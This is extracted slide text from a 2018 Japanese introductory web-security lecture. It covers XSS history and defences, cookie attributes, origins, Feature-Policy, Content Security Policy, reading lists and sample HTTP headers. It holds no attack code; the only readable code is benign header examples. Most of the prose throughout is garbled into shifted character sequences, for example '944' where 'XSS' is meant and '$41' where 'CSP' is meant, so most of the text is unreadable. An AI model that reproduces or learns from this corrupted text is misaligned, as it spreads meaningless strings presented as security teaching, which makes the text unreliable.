© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 944ൃల  944ؔ࿈ٕज़ͷைྲྀ 64 ೥͝Ζ ೥͝Ζ ೥͝Ζ ೥͝Ζ 944ͱ͍͏ݴ༿͕࢖ΘΕ͸͡ΊΔ  $SPTTTJUFTDSJQUJOHBUUBDLT944&YQMPJUTBOEEFGFOTFͳͲ  %0.#BTFE944ͱ͍͏ݴ༿͕࢖ΘΕ͸͡ΊΔ  IUUQXXXXFCBQQTFDPSHQSPKFDUTBSUJDMFTTIUNM … 4DSJQUMFTT"UUBDLͱ͍͏֓೦͕ग़ݱ͢Δ  )FJEFSJDIFUBM IUUQTXXXOETSVCEFNFEJBFNNB WFSPF⒎FOUMJDIVOHFOTDSJQUMFTT"UUBDLTDDTQEG 4DSJQU(BEHFUTͱ͍͏ݴ༿͕ग़ݱ͢Δ  -FJLJFTFUBM IUUQTHJUIVCDPNHPPHMFTFDVSJUZSFTFBSDIQPDT USFFNBTUFSTDSJQUHBEHFUT

Slide 65

Slide 65 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 944ରࡦ  ͍͔ʹͯ͠कΔ͔ 65 ࣮૷ w σʔλͷྲྀΕɾจ຺ʹԠͨ͡Τεέʔϓॲཧ ݕࠪ w े෼ͳηΩϡϦςΟςετ w े෼ͩͱࢥ͏੍໿΋ Ҋ֎ෆे෼͔΋ w ෆద੾ͳ࣮૷ %PVCMF&ODPEJOH FUD ͸ ͠͹͠͹࣮૷͔Βݟ͑ʹ͍͘ ༧๷ w $POUFOU4FDVSJUZ1PMJDZͷઃఆ౳ w ࣮ߦ͞Εͯ΋ඃ֐Λ཈͑ΒΕΔΑ͏ʹ

Slide 66

Slide 66 text

'VUVSF  8FCʹ͓͚Δ  ηΩϡϦςΟڥքͷ  ՝୊ͱະདྷ

Slide 67

Slide 67 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ՝୊ෆଗ͍ͳڥքͨͪ  $PPLJFͷ΋ͭྺ࢙తܦҢ 67 ‣ $PPLJF͸0SJHJOϥΠΫͳผͷઢҾج४Λ࣋ͭ ‣ FHQBUI΋ߟྀ͞ΕΔ ‣ FH਌υϝΠϯʹ$PPLJFΛઃఆͨ͠ΓͰ͖Δ ‣ $PPLJFͷొ৔͸401౳ͷొ৔ΑΓલͩͬͨͨΊ ‣ $PPLJF͕౪·Ε͏Δঢ়گͰ͸ ηογϣϯΛ౪·ΕΔ͏Δ ‣ εςʔτϨεͳ)551ʹͱͬͯ ͜Ε͸க໋తͳ͜ͱ ‣ ʮ͍͔ʹͯ͠$PPLJFΛकΔ͔ ʯͱ͍͏ͷ͸ॏཁͳ૪఺Ͱ͋Δ

Slide 68

Slide 68 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ະདྷ$PPLJF  $PPLJFΛ͍͔ʹͯ͠कΔ͔ͷྫ ‣ 4FDVSF$PPLJF IUUQTUPPMTJFUGPSHIUNMSGDIUNM ‣ ͜ͷଐੑ͕͍͍ͭͯΔͱ )5514Λ༻͍ͨ௨৴ͰͷΈૹ৴͞ΕΔ ‣ )UUQ0OMZ$PPLJF IUUQTUPPMTJFUGPSHIUNMSGDIUNM ‣ ͜ͷଐੑ͕͍͍ͭͯΔͱ EPDVNFOUDPPLJF͔ΒΞΫηεͰ͖ͳ͍ ‣ 4BNFTJUF$PPLJF IUUQTUPPMTJFUGPSHIUNMESBGUXFTUpSTUQBSUZDPPLJFT ‣ ͜ͷଐੑ͕͍͍ͭͯΔͱ ΫϩεαΠτͳϦΫΤετͷࡍʹ $PPLJFૹ৴͕ ੍ݶ͞ΕΔ ‣ ηοτ͞ΕΔ஋ MBY͔TUSJDU ʹԠͯ͡ڍಈ͕ҟͳΔͷͰ஫ҙ 68

Slide 69

Slide 69 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ՝୊0SJHJO  ྺ࢙తʹ੾Γ෼͚ΒΕͳ͍0SJHJOୡ ·ͨઃఆͷ೉͠͞ ‣ ྺ࢙తܦҢ͔Β੾Γ෼͚ΒΕ͍ͯͳ͍0SJHJO΋ଘࡏ͢Δ ‣ ྫIUUQTXXXHPPHMFDPNNBQTͱIUUQTXXXHPPHMFDPN ‣ 0SJHJOͷ෼ׂʹΑΓ 401΍$034ͳͲͷԸܙΛड͚ΒΕΔ ‣ ͍͔ʹͯ͠ޙํޓ׵ੑΛอͪͭͭ΋ ΑΓ҆શͳੈքΛ࡞Δ͔ ‣ ͖Ε͍ʹ੾Γ෼͚ΒΕ͍ͯͯ΋໰୊͸͋Δ ‣ جຊతʹݱঢ়ͷηΩϡϦςΟϙϦγʔ $41 $034 )454 )1,1 3FGFSSFS1PMJDZ ͸ ϦΫΤετ͝ͱʹ෇༩͢Δඞཁ͕͋Δ͕ʜ ‣ ௨৴ճ਺ͷ૿େ $0341SFqJHIU3FRVFTUͳͲ ‣ ϔομαΠζͷ૿େ ‣ ઃఆ΋ΕͷՄೳੑ 69

Slide 70

Slide 70 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ະདྷ0SJHJO  0SJHJOΛ͍͔ʹ֦ͯ͠ு͢Δ͔ ‣ 4VCPSJHJOT IUUQTXDHJUIVCJPXFCBQQTFDTVCPSJHJOT ‣ ͋ΔҰͭͷ0SJHJOΛ ΑΓࡉ͔͘෼ྨ͢ΔͨΊͷ࢓༷ ‣ 4VCPSJHJOϔομʹΑΓOBNFTQBDFͱݺ͹ΕΔ΋ͷΛ഑৴ ‣ TDIFNF IPTU QPSU OBNFTQBDF Λ4VCPSJHJOͱ͠ ࣮༻্͸͜ΕΛγ ϦΞϥΠζͨ͠΋ͷΛ0SJHJOͱ͢Δ ‣ 0SJHJO1PMJDZ IUUQTXJDHHJUIVCJPPSJHJOQPMJDZ ‣ 4FD0SJHJO1PMJDZϔομʹΑΓ͋Γ͔͕஌Β͞ΕΔ0SJHJO.BOJGFTUͱݺ ͹ΕΔ+40/ܗࣜͷ΋ͷΛ࢖ͬͯ 0SJHJOશମʹରͯ͠ ηΩϡϦςΟϧʔ ϧΛ഑৴ $41 )454 )1,1 ‣ 4JUF8JEF)551)FBEFSTͷΑ͏ͳྨࣅϓϩϙʔβϧ΋͋Δ 70

Slide 71

Slide 71 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ՝୊8FC"1*  ୈೋͷ04ͱͯ͠ͷ8FCϒϥ΢β ‣ ϒϥ΢βʹࡌ͍ͬͯΔػೳ͸༷ʑ ‣ 7JCSBUJPO (FPMPDBUJPO $BNFSB .JDSPQIPOF ‣ ػೳ͕૿͑Δͨͼʹ ηΩϡϦςΟϦεΫ΋૿େ͢Δ ‣ ͻͱͨͼ᠘αΠτΛ౿ΜͰ͠·ͬͨΒ ‣ 944ʹΑΓਖ਼نαΠτʹ߈ܸऀ͕ѱҙ͋ΔεΫϦϓτΛຒΊࠐΜͩΒ ‣ ͜Ε͸୭ͷ͍ͤ ‣ $41΍JGSBNFࣗମʹ΋TBOECPYػߏ͸͋Δ΋ͷͷ ෆे෼ ‣ શίϯςΩετʹҰ؏ੑΛอͬͨঢ়ଶͰ੍ݶΛՃ͑Δ͜ͱ͕೉͍͠ ‣ ௨ৗEJTBCMF͞Ε͍ͯΔػೳΛ໌ࣔతʹFOBCMF͢Δػೳ͕ͳ͍ 71

Slide 72

Slide 72 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ະདྷ8FC"1*  ୈೋͷ04ͱͯ͠ͷ8FCϒϥ΢βΛ ͍͔ʹͯ͠कΔ͔ ‣ 'FBUVSF1PMJDZ IUUQTXJDHHJUIVCJPGFBUVSFQPMJDZ ‣ )551ϔομΛ௨ͯ͠ ϒϥ΢βػೳΛ໌ࣔతʹ༗ޮԽɾແޮԽ͢ΔͨΊͷ ηΩϡϦςΟϙϦγʔ ‣ 0SJHJOผ ػೳผʹهड़Մೳ ‣ 'FBUVSF1PMJDZϔομΛ࢖༻ 72 // from https://wicg.github.io/feature-policy/#examples Feature-Policy: vibrate 'none'; geolocation 'none' Feature-Policy: geolocation 'self' https://example.com

Slide 73

Slide 73 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ՝୊։ൃऀͱͷڠௐ  ࢖͍΍͘͢ ཧղ͠΍͘͢ ͔ͭ҆શΛ΋ͨΒͤΔڥքΛ ‣ ཧ૝ͱݱ࣮ͷࠩ͸͋Δ ‣ ࣮ӡ༻Ͱ͸ ͠͹͠͹ޡͬͨPSແྗͳ$41͕ઃఆ͞Ε͍ͯΔ ‣ ࢀߟ8FJDITFMCBVNFUBMͷ$41JTEFBE MPOHMJWF$410OUIF JOTFDVSJUZPGXIJUFMJTUTBOEUIFGVUVSFPGDPOUFOUTFDVSJUZQPMJDZ ‣ ৽͍͠ϒϥ΢βଆηΩϡϦςΟϙϦγʔΛ࡞੒ɾಋೖ͠Α͏ͱͯ͠΋ ޙํ ޓ׵ੑͷରԠ͕େม ‣ FH$41ͷTUSJDUEZOBNJDʜجຊతʹ͸XIJUFMJTUCBTFEͳϧʔϧͱ ซ༻Ͱ͖ͳ͍͕ ॻ͔ͳ͍ͱTUSJDUEZOBNJDඇରԠϒϥ΢βͰ$41͕ ແྗʹͳͬͯ͠·͏ ͱ͍ͬͨ໰୊ ‣ ޙํޓ׵ੑ લํޓ׵ੑΛҙࣝͨ͠ൃల͕ཁ੥͞Ε͍ͯΔ 73

Slide 74

Slide 74 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣍ʹֶͿ΂͖͜ͱ  Φεεϝͷॻ੶ɾ࿩୊ɾจॻ ‣ 5IF5BOHMFE8FC"(VJEFUP4FDVSJOH.PEFSO8FC "QQMJDBUJPOT ‣ ๜༁൛ΊΜͲ͏͍͘͞8FCηΩϡϦςΟ ‣ ͲͪΒ΋ଟ͘ͷΤοδέʔε΍ྺֶ࢙΂Δຊ ‣ 5IF#SPXTFS)BDLFST)BOECPPL ‣ ๜༁൛ϒϥ΢βϋοΫ ‣ ͍͔ʹ߈ܸ͢Δ͔ʹϑΥʔΧεΛ౰ֶͯͭͭ΂Δ ໘ന͍ຊ ‣ )PXUIF8FC5BOHMFE*UTFMG6ODPWFSJOHUIF)JTUPSZPG $MJFOU4JEF8FC *O 4FDVSJUZ ‣ IUUQTQVCMJDBUJPOTDJTQBTBBSMBOEBSDIJWFPSHpOBMQEG ‣ ྺ࢙Λަ͑ͯͬ͘͟Γͱ͜Ε·Ͱͷைྲྀ΍ݱঢ়Λ೺Ѳ͢Δͷʹ͸ྑ͍ 74

Slide 75

Slide 75 text

$PODMVTJPO ຊ೔ͷ·ͱΊ

Slide 76

Slide 76 text

Slide 77

Slide 77 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ (PBMT ࠶ܝ   ຊߨٛͰ໨ࢦ͢ͱ͜Ζͷ࠶֬ೝ ‣ ֶͼ͍ͨ͜ͱ ‣ 8FC4FDVSJUZCZ%FTJHOઃܭஈ֊͔Βͷ8FCηΩϡϦςΟ ‣ جૅతͳ944ʹؔ͢Δ஌ࣝ ‣ Ͱ͖ͨΒ ࠷ۙͷ8FCηΩϡϦςΟ ͱΓΘ͚ϒϥ΢βͷηΩϡϦςΟػ ߏʹؔ͢Δ࿩ ‣ ߨٛऴྃޙ͍͚ͯͨͩͨ͠Βخ͍͜͠ͱ ‣ 8FCηΩϡϦςΟͷ࿩Λ๻ͱҰॹʹ௥͍͔͚ͯ΄͍͠ ‣ 8FCηΩϡϦςΟ͕޷͖ͱ͍͏ֶੜ͕ݮͬͨΑ͏ͳؾ͕͍ͯ͠Δ ‣ 8FCηΩϡϦςΟΛ޷͖ʹͳͬͯ͘ΕͨͳΒ ͱͯ΋خ͍͠ 77

Slide 78

Slide 78 text

"OZ2VFTUJPOT 5BLBTIJ:POFVDIJ KB!MNU@TXBMMPX FO!ZOVDIZ IUUQTTIJGUKTJOGP

Slide 79

Slide 79 text

"QQFOEJY"  944ͷεεϝ

Slide 80

Slide 80 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣮ࣾձͰͷ944  ੍໿ͱͷઓ͍ ‣ ૉ௚Ͱ͸ͳ͍γνϡΤʔγϣϯͰͷ944͸͠͹͠͹ݟ͔ͭΔ ‣ FH͋Δจࣈ͕࢖͑ͳ͍ ‣ FH$41ʹΑΓಛఆ৚݅ԼͰ͔͠εΫϦϓτ͕ಈ͔ͤͳ͍ ‣ FH͋Δϒϥ΢βػೳΛ࢖Θͳ͍ͱಈ͔ͳ͍ ‣ ʮཧ࿦্ ո͍͠ڍಈ͸શ෦௵ͤ͹Α͍ͷͰ͸ ʯ ‣ ͓͕ۚབྷΉͱͦΕ͸೉͍͠ ‣ ࣮ࡍʹةݥੑ͕͋Δͱݴͬͯ΋ ߈ܸ͕௨Βͳ͍ͳΒ ϓϥΠΦϦςΟ͸௿͍ ‣ આಘྗΛ࣋ͬͨใࠂͷͨΊʹ͸ ࣮ࡍʹڴҖͨΓ͏Δ߈ܸܦ࿏Λఏࣔ͢Δ 1P$Λఏࣔ͢Δ ͜ͱ͕ Ұ൪ڹ͘ ͱ๻͸ࢥ͍ͬͯΔ ‣ ୳͢ͷʹ΋͕͔͔࣌ؒΔͷͰ ΋ͪΖΜόϥϯε͸େࣄ 80

Slide 81

Slide 81 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ޿͕Δ944$IBMMFOHF  944$IBMMFOHFʹ௅ઓͯ͠ΈΑ͏ ‣ 3FTFBSDIFSୡ͔Β೔ʑ৽944$IBMMFOHFωλ͕ग़͍ͯΔ ‣ τϨϯυ΍࠷৽࢓༷Λ௥͏ͨΊʹ͘͢͝໾ʹཱͭ ‣ ݸਓతͳ͓͢͢Ίͷ944$IBMMFOHF͸Լه ‣ 944HBNFCZ(PPHMF  IUUQTYTTHBNFBQQTQPUDPN ‣ 9441PMZHMPU$IBMMFOHFCZ!pMFEFTDSJQUPS  IUUQTQPMZHMPUJOOFSIUNM ‣ 944$IBMMFOHFTCZ$VSF  IUUQTHJUIVCDPNDVSF944$IBMMFOHF8JLJXJLJ 81

Slide 82

Slide 82 text

"QQFOEJY#  $41$POUFOU 4FDVSJUZ1PMJDZ

Slide 83

Slide 83 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $POUFOU4FDVSJUZ1PMJDZ  $41ͱ͸ҰମԿ͔ ‣ $POUFOU4FDVSJUZ1PMJDZ $41 ͱ͸ 944΍ͦͷଞσʔλΠϯ δΣΫγϣϯܥͷ߈ܸ͔ΒकΔͨΊͷ ௥Ճ๷ޚϨΠϠ ‣ ͬ͘͟Γݴ͏ͱ ֎෦Ϧιʔε +4 JNH GPOU FUD ͷಡΈग़͠ݩ ͷ੍ݶ΍ ͦͷଞͷηΩϡϦςΟػߏͷ ؆୯ͳ ੍ޚʹ࢖͑Δ 83 2010 'JSTU1SPQPTFE 2012 2016 8$$3 $41 8$3&$ $41-W 2018 8$8% $41-W

Slide 84

Slide 84 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣮ྫ  ࣮ੈքʹ͓͚Δ$POUFOU4FDVSJUZ1PMJDZͷ࢖༻ྫ ‣ Ϟμϯͳେख8FCαʔϏε ‣ (JU)VC ‣ 5XJUUFS ‣ 'BDFCPPL ‣ FUD ‣ 8FCαʔϏεҎ֎ͷ҆શੑ Λ୲อ͢΂͖ͱ͜Ζ ‣ $ISPNF&YUFOTJPO ‣ 'JSFGPY"EEPO ‣ FUD 84 l *OPSEFSUPNJUJHBUFBMBSHFDMBTT PGQPUFOUJBMDSPTTTJUFTDSJQUJOH JTTVFT $ISPNFTFYUFOTJPO TZTUFNIBTJODPSQPSBUFEUIF HFOFSBMDPODFQUPG$POUFOU 4FDVSJUZ1PMJDZ $41   IUUQTEFWFMPQFSDISPNFDPNFYUFOTJPOT DPOUFOU4FDVSJUZ1PMJDZ

Slide 85

Slide 85 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $41ͷ࢖͍ํ  ϔομPSNFUB ‣ $41ͷઃఆํ๏͸௨Γ͋Δ ‣ )551Ϩεϙϯεϔομதʹهड़͢Δ ‣ )5.-தͰNFUBλάΛ༻͍ͯهड़͢Δ ‣ 4QFDJpDBUJPOTΛಡΉͱશ͕ͯॻ͍ͯ͋Δ ‣ IUUQTXXXXPSH53$41 85 Content-Security-Policy: default-src 'self'

Slide 86

Slide 86 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $41ͷࠓޙ  $41ʹ޲͚ͯ ‣ ଟ͘ͷ৽ػೳ΍վળ͕ଓ͍͍ͯΔ ‣ 'FUDIͷ࢓༷ʹ߹Θͤͨ࠶هड़ ‣ 3FQPSUJOH"1*ͱͷ౷߹ ‣ OBWJHBUFUPͳͲͷ৽EJSFDUJWF ‣ ͳͲͳͲʜ ‣ ࠷৽ͷٞ࿦Λ௥ͬͯΈΑ͏ ‣ IUUQTHJUIVCDPNXD XFCBQQTFDDTQJTTVFT 86

Slide 87

Slide 87 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ &YFSDJTF$41  $41ʹΑΔ੍ݶΛ࣮ײͯ͠ΈΑ͏ ‣ ࣄޙ՝୊࣍ΛͭͣͭऔΓ૊ΜͰΈ·͠ΐ͏ ࣗ෼ͷ8FCϖʔδΛ͍࣋ͬͯΕ͹ ͦ͜ʹ$41Λઃఆ͢Δ ‣ ΋͠ͳ͚Ε͹ ࣍ͷͲͪΒ͔ͰݕূՄೳ ‣ ϩʔΧϧʹ)5.-Λ࡞੒ͯ͠ NFUBΛ࢖͏ ‣ 8FCαʔόʔΛϩʔΧϧʹཱͯͯΈΔ EPDLFSͳͲ͕ศར $41&WBMVBUPS IUUQTDTQFWBMVBUPSXJUIHPPHMFDPN Ͱઃఆͨ͠ ϖʔδΛݕূͯ͠ΈΔ ݕূ݁ՌΛݟͯ ΑΓΑ͍ϙϦγʔΛઃఆͯ͠Έ·͠ΐ͏ $41CZQBTTͷख๏ʹ͍ͭͯௐ΂ͯ ࣮ࡍʹCZQBTTՄೳͳ৚݅Λ୳ͯ͠Έ ·͠ΐ͏ 87

Slide 88

Slide 88 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣍ʹֶͿ΂͖͜ͱ  Φεεϝͷॻ੶ɾ࿩୊ɾจॻ ‣ $41*T%FBE -POH-JWF$410OUIF*OTFDVSJUZPG8IJUFMJTUT BOEUIF'VUVSFPG$POUFOU4FDVSJUZ1PMJDZ ‣ λΠτϧͰ(PPHMFݕࡧ͍ͯͩ͘͠͞ ‣ ೥ͷ࿦จͰ͕͢ ମܥతʹ$41ͱͦͷόΠύεख๏ʹ͍͕ͭͯ·ͱΊ ΒΕ͍ͯΔ ‣ )*5#".4%5%FGFOTFJO%FQUI5FDIOJRVFTGPS .PEFSO8FC"QQT.4QBHOVPMP-8FJDITFMCBVN ‣ IUUQTXXXZPVUVCFDPNXBUDI W33@&R,T:CP ‣ GPS.PEFSO8FC"QQTͱ͸໏ଧ͍ͬͯΔ͕ $41΍ͦͷଞͷ.PEFSOͳ $MJFOUTJEFͷ๷ޚϨΠϠʹ͍ͭͯ ͬ͘͡Γղઆ͍ͯ͠Δ 88

Slide 89

Slide 89 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣍ʹֶͿ΂͖͜ͱ  Φεεϝͷॻ੶ɾ࿩୊ɾจॻ ‣ $$41$POUSPMMFESFMBYBUJPOPGDPOUFOUTFDVSJUZQPMJDJFTCZ SVOUJNFQPMJDZDPNQPTJUJPO ‣ IUUQTXXXVTFOJYPSHTZTUFNpMFTDPOGFSFODFVTFOJYTFDVSJUZ TFDDBM[BWBSBQEG ‣ ݱঢ়ͷ$41ͷ໰୊఺Λ౿·͑ͯ ΑΓΑ͍1PMJDZهड़๏Λ໛ࡧ͢Δ 3FTFBSDIMJOFͷྫ ‣ (JU)VCͷXFCBQQTFDDTQ ‣ IUUQTHJUIVCDPNXDXFCBQQTFDDTQ ‣ *TTVFTΛ PQFO DMPTFE໰Θͣ ಡΜͰΈͨΓ 13ΛோΊͨΓͯ͠ΈΔͱ ͍͍ؾ෇͖͕͋Δ͔΋͠Εͳ͍ 89

Slide 90

Slide 90 text

"QQFOEJY$  )551

Slide 91

Slide 91 text

Slide 92

Slide 92 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ )551ϦΫΤετ  (&5ϦΫΤετͷྫ 92 GET / HTTP/1.1 Host: shift-js.info Connection: close Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.67 Safari/537.36 Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,ja;q=0.8 Cookie: ...

Slide 93

Slide 93 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ )551ϦΫΤετ  (&5ϦΫΤετʹର͢ΔϨεϙϯεͷྫ 93 HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Oct 2018 12:57:05 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Fri, 14 Sep 2018 01:26:38 GMT Connection: close ETag: W/"5b9b0e4e-46d4" Strict-Transport-Security: max-age=31536000 Content-Length: 18132   ...

Slide 94

Slide 94 text

© 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ )551ϦΫΤετΛ೷͘  ࠓճ%FWFMPQFS5PPMTΛ࢖͏ ‣ )551௨৴͸ී௨ ࣍ͷΑ͏ͳ1SPYZπʔϧΛར༻ͯ͠೷͘ ‣ #VSQ4VJUF ‣ 'JEEMFS ‣ FUD ‣ ࠓ೔͸(PPHMF$ISPNF ͋Δ͍͸$ISPNJVN ʹ෇ଐͷ %FWFMPQFS5PPMTΛ࢖ͬͯ)551ϦΫΤετϨεϙϯεΛ೷͘ ‣ %FWFMPQFS5PPMT͸࣍ͷΑ͏ͳγϣʔτΧοτΩʔͰىಈ͢Δ ‣ 8JOEPXTͷ৔߹' ͋Δ͍͸$USM4IJGU*Ͱىಈ  .BDͷ৔߹$NE0QU*Ͱىಈ 94